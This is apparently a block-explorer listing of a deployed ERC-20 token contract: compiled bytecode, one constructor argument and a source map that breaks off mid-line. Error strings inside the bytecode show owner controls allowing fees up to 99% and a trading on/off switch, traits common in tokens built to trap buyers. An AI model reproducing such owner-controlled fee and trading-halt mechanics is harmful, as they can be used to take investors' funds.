ffffffff16141561395e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161395590615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156139ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139c5906153c5565b60405180910390fd5b6139d9838383613e44565b613a4581604051806060016040528060268152602001615a4c60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ada81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613b7a9190614450565b60405180910390a3505050565b600080613b92613e49565b90508091505090565b6000613ba63061177a565b90506000602254602054602154613bbd9190614c0f565b613bc79190614c0f565b9050600080831480613bd95750600082145b15613be657505050613d21565b6014600d54613bf591906148bc565b831115613c0e576014600d54613c0b91906148bc565b92505b600060028360215486613c2191906148bc565b613c2b9190614945565b613c359190614945565b90506000613c4c8286613eed90919063ffffffff16565b90506000479050613c5c82613f37565b6000613c718247613eed90919063ffffffff16565b9050600060218190555060006020819055506000602281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613cd1906158b4565b60006040518083038185875af1925050503d8060008114613d0e576040519150601f19603f3d011682016040523d82523d6000602084013e613d13565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613d5f91906145bf565b602060405180830381865afa158015613d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613da09190615098565b90506000613db96012548361282390919063ffffffff16565b9050613dc484614174565b613dd65760008114613dd557600080fd5b5b600192505050919050565b60008083118290613e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613e1f9190614264565b60405180910390fd5b5060008385613e379190614945565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613ec45760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613ee8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613f2f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506135f9565b905092915050565b6000600267ffffffffffffffff811115613f5457613f536158c9565b5b604051908082528060200260200182016040528015613f825781602001602082028036833780820191505090505b5090503081600081518110613f9a57613f99614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561403f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140639190614a1d565b8160018151811061407757614076614a73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140dc307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612889565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161413e9594939291906159f1565b600060405180830381600087803b15801561415857600080fd5b505af115801561416c573d6000803e3d6000fd5b505050505050565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156142055780820151818401526020810190506141ea565b83811115614214576000848401525b50505050565b6000601f19601f8301169050919050565b6000614236826141cb565b61424081856141d6565b93506142508185602086016141e7565b6142598161421a565b840191505092915050565b6000602082019050818103600083015261427e818461422b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142bb82614290565b9050919050565b6142cb816142b0565b81146142d657600080fd5b50565b6000813590506142e8816142c2565b92915050565b6000819050919050565b614301816142ee565b811461430c57600080fd5b50565b60008135905061431e816142f8565b92915050565b6000806040838503121561433b5761433a614286565b5b6000614349858286016142d9565b925050602061435a8582860161430f565b9150509250929050565b60008115159050919050565b61437981614364565b82525050565b60006020820190506143946000830184614370565b92915050565b6000602082840312156143b0576143af614286565b5b60006143be848285016142d9565b91505092915050565b6000819050919050565b60006143ec6143e76143e284614290565b6143c7565b614290565b9050919050565b60006143fe826143d1565b9050919050565b6000614410826143f3565b9050919050565b61442081614405565b82525050565b600060208201905061443b6000830184614417565b92915050565b61444a816142ee565b82525050565b60006020820190506144656000830184614441565b92915050565b60006020828403121561448157614480614286565b5b600061448f8482850161430f565b91505092915050565b6000806000606084860312156144b1576144b0614286565b5b60006144bf868287016142d9565b93505060206144d0868287016142d9565b92505060406144e18682870161430f565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126145105761450f6144eb565b5b8235905067ffffffffffffffff81111561452d5761452c6144f0565b5b602083019150836020820283011115614549576145486144f5565b5b9250929050565b60008060006040848603121561456957614568614286565b5b600084013567ffffffffffffffff8111156145875761458661428b565b5b614593868287016144fa565b935093505060206145a68682870161430f565b9150509250925092565b6145b9816142b0565b82525050565b60006020820190506145d460008301846145b0565b92915050565b600060ff82169050919050565b6145f0816145da565b82525050565b600060208201905061460b60008301846145e7565b92915050565b61461a81614364565b811461462557600080fd5b50565b60008135905061463781614611565b92915050565b60008060006060848603121561465657614655614286565b5b60006146648682870161430f565b93505060206146758682870161430f565b925050604061468686828701614628565b9150509250925092565b6000806000604084860312156146a9576146a8614286565b5b600084013567ffffffffffffffff8111156146c7576146c661428b565b5b6146d3868287016144fa565b935093505060206146e686828701614628565b9150509250925092565b6000806040838503121561470757614706614286565b5b6000614715858286016142d9565b925050602061472685828601614628565b9150509250929050565b60008060006060848603121561474957614748614286565b5b60006147578682870161430f565b93505060206147688682870161430f565b92505060406147798682870161430f565b9150509250925092565b600061478e826143f3565b9050919050565b61479e81614783565b82525050565b60006020820190506147b96000830184614795565b92915050565b6000602082840312156147d5576147d4614286565b5b60006147e384828501614628565b91505092915050565b6000806040838503121561480357614802614286565b5b6000614811858286016142d9565b9250506020614822858286016142d9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061487357607f821691505b602082108114156148875761488661482c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006148c7826142ee565b91506148d2836142ee565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561490b5761490a61488d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614950826142ee565b915061495b836142ee565b92508261496b5761496a614916565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006149d2602f836141d6565b91506149dd82614976565b604082019050919050565b60006020820190508181036000830152614a01816149c5565b9050919050565b600081519050614a17816142c2565b92915050565b600060208284031215614a3357614a32614286565b5b6000614a4184828501614a08565b91505092915050565b6000604082019050614a5f60008301856145b0565b614a6c60208301846145b0565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000614aad826142ee565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614ae057614adf61488d565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614b476033836141d6565b9150614b5282614aeb565b604082019050919050565b60006020820190508181036000830152614b7681614b3a565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614bd96030836141d6565b9150614be482614b7d565b604082019050919050565b60006020820190508181036000830152614c0881614bcc565b9050919050565b6000614c1a826142ee565b9150614c25836142ee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c5a57614c5961488d565b5b828201905092915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614c9b601d836141d6565b9150614ca682614c65565b602082019050919050565b60006020820190508181036000830152614cca81614c8e565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614d07601d836141d6565b9150614d1282614cd1565b602082019050919050565b60006020820190508181036000830152614d3681614cfa565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614d996024836141d6565b9150614da482614d3d565b604082019050919050565b60006020820190508181036000830152614dc881614d8c565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614e2b6035836141d6565b9150614e3682614dcf565b604082019050919050565b60006020820190508181036000830152614e5a81614e1e565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614ebd6032836141d6565b9150614ec882614e61565b604082019050919050565b60006020820190508181036000830152614eec81614eb0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614f4f6026836141d6565b9150614f5a82614ef3565b604082019050919050565b60006020820190508181036000830152614f7e81614f42565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614fbb6020836141d6565b9150614fc682614f85565b602082019050919050565b60006020820190508181036000830152614fea81614fae565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b600061504d602a836141d6565b915061505882614ff1565b604082019050919050565b6000602082019050818103600083015261507c81615040565b9050919050565b600081519050615092816142f8565b92915050565b6000602082840312156150ae576150ad614286565b5b60006150bc84828501615083565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006150fb601b836141d6565b9150615106826150c5565b602082019050919050565b6000602082019050818103600083015261512a816150ee565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061518d6024836141d6565b915061519882615131565b604082019050919050565b600060208201905081810360008301526151bc81615180565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061521f6022836141d6565b915061522a826151c3565b604082019050919050565b6000602082019050818103600083015261524e81615212565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061528b6020836141d6565b915061529682615255565b602082019050919050565b600060208201905081810360008301526152ba8161527e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061531d6025836141d6565b9150615328826152c1565b604082019050919050565b6000602082019050818103600083015261534c81615310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006153af6023836141d6565b91506153ba82615353565b604082019050919050565b600060208201905081810360008301526153de816153a2565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061541b6016836141d6565b9150615426826153e5565b602082019050919050565b6000602082019050818103600083015261544a8161540e565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006154d36049836141d6565b91506154de82615451565b606082019050919050565b60006020820190508181036000830152615502816154c6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006155656035836141d6565b915061557082615509565b604082019050919050565b6000602082019050818103600083015261559481615558565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006155d16013836141d6565b91506155dc8261559b565b602082019050919050565b60006020820190508181036000830152615600816155c4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006156636036836141d6565b915061566e82615607565b604082019050919050565b6000602082019050818103600083015261569281615656565b9050919050565b60006156a4826142ee565b91506156af836142ee565b9250828210156156c2576156c161488d565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006157296021836141d6565b9150615734826156cd565b604082019050919050565b600060208201905081810360008301526157588161571c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006157bb6022836141d6565b91506157c68261575f565b604082019050919050565b600060208201905081810360008301526157ea816157ae565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061584d6021836141d6565b9150615858826157f1565b604082019050919050565b6000602082019050818103600083015261587c81615840565b9050919050565b600081905092915050565b50565b600061589e600083615883565b91506158a98261588e565b600082019050919050565b60006158bf82615891565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061591d615918615913846158f8565b6143c7565b6142ee565b9050919050565b61592d81615902565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615968816142b0565b82525050565b600061597a838361595f565b60208301905092915050565b6000602082019050919050565b600061599e82615933565b6159a8818561593e565b93506159b38361594f565b8060005b838110156159e45781516159cb888261596e565b97506159d683615986565b9250506001810190506159b7565b5085935050505092915050565b600060a082019050615a066000830188614441565b615a136020830187615924565b8181036040830152615a258186615993565b9050615a3460608301856145b0565b615a416080830184614441565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a9592acd2b7b76348f98e07603a23637bf3acde32ab7da83528513a242d1d32064736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000082e35833829882d01e0583a4f2440a2075e59f07

-----Decoded View---------------
Arg [0] : team_ (address): 0x82e35833829882d01E0583a4f2440A2075E59f07

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000082e35833829882d01e0583a4f2440a2075e59f07


Deployed Bytecode Sourcemap

14211:17633:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5469:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7635:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15993:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14277:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6588:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22150:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14698:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14799:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15548:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15508;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21283:232;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8286:355;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27612:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14382:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14881:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14842:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6431:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22618:123;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14986:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9050:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2670:92:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14442:28:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15359;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15064:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6759:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1908:148:1;;;;;;;;;;;;;:::i;:::-;;31388:447:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31130:250;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19928:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22315:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14655:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15248;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20522:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19137:155;;;;;;;;;;;;;:::i;:::-;;14335:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;996:79:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14624:24:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15394:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19591:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5688:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15322:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14097:107;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14755:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15588:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15470:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22467:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9771:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14942:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7099:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22753:208;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16215:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21934:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15025:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21744:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20899:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21523:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18926:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15806:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14540:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20125:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15214:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7337:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14582:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19357:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15285:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2223:244:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15432:31:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14509:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30939:183;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29495:1015;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5469:100;5523:13;5556:5;5549:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5469:100;:::o;7635:169::-;7718:4;7735:39;7744:12;:10;:12::i;:::-;7758:7;7767:6;7735:8;:39::i;:::-;7792:4;7785:11;;7635:169;;;;:::o;15993:64::-;;;;;;;;;;;;;;;;;;;;;;:::o;14277:51::-;;;:::o;6588:108::-;6649:7;6676:12;;6669:19;;6588:108;:::o;22150:157::-;1200:13:1;:11;:13::i;:::-;22257:9:2::1;;;;;;;;;;;22229:38;;22246:9;22229:38;;;;;;;;;;;;22290:9;22278;;:21;;;;;;;;;;;;;;;;;;22150:157:::0;:::o;14698:50::-;;;;:::o;14799:35::-;;;;:::o;15548:33::-;;;;:::o;15508:::-;;;;:::o;21283:232::-;1200:13:1;:11;:13::i;:::-;21402:3:2::1;21396:4;21392:1;21376:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;21375:30;;;;:::i;:::-;21365:6;:40;;21357:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;21501:5;21491:6;:16;;;;:::i;:::-;21468:20;:39;;;;21283:232:::0;:::o;8286:355::-;8426:4;8443:36;8453:6;8461:9;8472:6;8443:9;:36::i;:::-;8490:121;8499:6;8507:12;:10;:12::i;:::-;8521:89;8559:6;8521:89;;;;;;;;;;;;;;;;;:11;:19;8533:6;8521:19;;;;;;;;;;;;;;;:33;8541:12;:10;:12::i;:::-;8521:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;8490:8;:121::i;:::-;8629:4;8622:11;;8286:355;;;;;:::o;27612:295::-;1200:13:1;:11;:13::i;:::-;27704:9:2::1;27716:14;;;;;;;;;;;:22;;;27747:4;27754:15;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27716:61;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27704:73;;27793:9;27788:112;27812:10;;:17;;27808:1;:21;27788:112;;;27868:10;;27879:1;27868:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;27856:32;;27865:1;27856:32;;;27883:4;27856:32;;;;;;:::i;:::-;;;;;;;;27831:3;;;;;:::i;:::-;;;;27788:112;;;;27693:214;27612:295:::0;;;:::o;14382:53::-;14428:6;14382:53;:::o;14881:54::-;;;;:::o;14842:32::-;;;;;;;;;;;;;:::o;6431:92::-;6489:5;6514:1;6507:8;;6431:92;:::o;22618:123::-;22681:4;22705:19;:28;22725:7;22705:28;;;;;;;;;;;;;;;;;;;;;;;;;22698:35;;22618:123;;;:::o;14986:32::-;;;;;;;;;;;;;:::o;9050:218::-;9138:4;9155:83;9164:12;:10;:12::i;:::-;9178:7;9187:50;9226:10;9187:11;:25;9199:12;:10;:12::i;:::-;9187:25;;;;;;;;;;;;;;;:34;9213:7;9187:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9155:8;:83::i;:::-;9256:4;9249:11;;9050:218;;;;:::o;2670:92:1:-;1200:13;:11;:13::i;:::-;2747:7:::1;2740:4;;:14;;;;;;;;;;;;;;;;;;2670:92:::0;:::o;14442:28:2:-;;;;;;;;;;;;;:::o;15359:::-;;;;:::o;15064:30::-;;;;;;;;;;;;;:::o;6759:127::-;6833:7;6860:9;:18;6870:7;6860:18;;;;;;;;;;;;;;;;6853:25;;6759:127;;;:::o;1908:148:1:-;1200:13;:11;:13::i;:::-;2015:1:::1;1978:40;;1999:6;::::0;::::1;;;;;;;;1978:40;;;;;;;;;;;;2046:1;2029:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1908:148::o:0;31388:447:2:-;1200:13:1;:11;:13::i;:::-;31542:3:2::1;31519:19;:26;;31511:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;31632:4;31620:8;:16;;:33;;;;;31652:1;31640:8;:13;;31620:33;31612:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;31735:19;31717:15;:37;;;;31784:8;31765:16;:27;;;;31819:8;31803:13;;:24;;;;;;;;;;;;;;;;;;31388:447:::0;;;:::o;31130:250::-;1200:13:1;:11;:13::i;:::-;31215:9:2::1;31210:163;31234:8;;:15;;31230:1;:19;31210:163;;;31358:3;31271:71;:84;31343:8;;31352:1;31343:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;31271:84;;;;;;;;;;;;;;;;:90;;;;;;;;;;;;;;;;;;31251:3;;;;;:::i;:::-;;;;31210:163;;;;31130:250:::0;;;:::o;19928:127::-;19978:4;1200:13:1;:11;:13::i;:::-;20010:5:2::1;19994:13;;:21;;;;;;;;;;;;;;;;;;20043:4;20036:11;;19928:127:::0;:::o;22315:144::-;1200:13:1;:11;:13::i;:::-;22447:4:2::1;22405:31;:39;22437:6;22405:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;22315:144:::0;;:::o;14655:30::-;;;;;;;;;;;;;:::o;15248:::-;;;;:::o;20522:369::-;1200:13:1;:11;:13::i;:::-;20656::2::1;20638:15;:31;;;;20698:13;20680:15;:31;;;;20734:7;20722:9;:19;;;;20803:9;;20785:15;;20767;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;20752:12;:60;;;;20847:2;20831:12;;:18;;20823:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;20522:369:::0;;;:::o;19137:155::-;1200:13:1;:11;:13::i;:::-;19208:4:2::1;19192:13;;:20;;;;;;;;;;;;;;;;;;19237:4;19223:11;;:18;;;;;;;;;;;;;;;;;;19269:15;19252:14;:32;;;;19137:155::o:0;14335:39::-;;;;;;;;;;;;;:::o;996:79:1:-;1034:7;1061:6;;;;;;;;;;;1054:13;;996:79;:::o;14624:24:2:-;;;;;;;;;;;;;:::o;15394:31::-;;;;:::o;19591:101::-;1200:13:1;:11;:13::i;:::-;19677:7:2::1;19663:11;;:21;;;;;;;;;;;;;;;;;;19591:101:::0;:::o;5688:104::-;5744:13;5777:7;5770:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5688:104;:::o;15322:24::-;;;;:::o;14097:107::-;1200:13:1;:11;:13::i;:::-;14174:22:2::1;14180:7;141